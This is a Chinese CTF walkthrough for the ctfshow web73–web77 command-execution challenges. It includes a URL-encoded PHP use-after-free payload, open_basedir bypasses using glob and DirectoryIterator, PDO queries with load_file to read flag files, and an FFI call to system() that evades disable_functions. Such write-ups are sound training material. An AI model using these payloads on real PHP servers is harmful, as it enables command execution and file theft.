0%3b%20%24%69%20%2b%3d%20%38%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%2b%20%24%69%2c%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%2c%20%24%69%29%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%32%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%29%3b%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%33%38%2c%20%31%2c%20%34%29%3b%20%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%36%38%2c%20%24%7a%69%66%5f%73%79%73%74%65%6d%29%3b%20%0d%0a%0d%0a%20%20%20%20%28%24%68%65%6c%70%65%72%2d%3e%62%29%28%24%63%6d%64%29%3b%0d%0a%20%20%20%20%65%78%69%74%28%29%3b%0d%0a%7d%0d%0a%0d%0a%63%74%66%73%68%6f%77%28%22%63%61%74%20%2f%66%6c%61%67%30%2e%74%78%74%22%29%3b%6f%62%5f%65%6e%64%5f%66%6c%75%73%68%28%29%3b

web73

c=var_export(scandir('/'));exit(); 这次没有貌似open_basedir
c=include('/flagc.txt');exit();

web74

ban了scandir()
还得是glob
c=var_export(glob("/*"));exit();
c=include('/flagx.txt');exit();

web75

ban了scandir()
c=var_export(glob("/*"));exit();回显false

1
2
3
4
5
6
7
8

c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

s设置了include_path无法包含根目录文件
用前面的uaf脚本

ban了strlen()
官方解是用PDO读数据库

官方解直接给了一个读ctftraining 的flag
实际上需要先找到这个数据库名
先连接默认数据库information_schema

1
2
3
4
5
6
7
8
9
10
11
12
13
c=
try {
$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
echo($row[0])."|";
}$db = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);


然后连接ctftraining 通过load_file来读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
c=
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);

web76

flag36d.txt同上

web77

提示php 7.4
php 7.4 引入了 FFI扩展
FFI::cdef() 创建一个新的 FFI 对象

1
2
3
4
c=?><?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("/readflag > ./b.txt");
?>

通过FFI 引入c语言的system 突破disable——function的限制


ctfshow-命令执行web29-web77 wp
http://example.com/2023/10/07/ctfshow-命令执行web29-web77/
作者
J_0k3r
发布于
2023年10月7日
许可协议
BY J_0K3R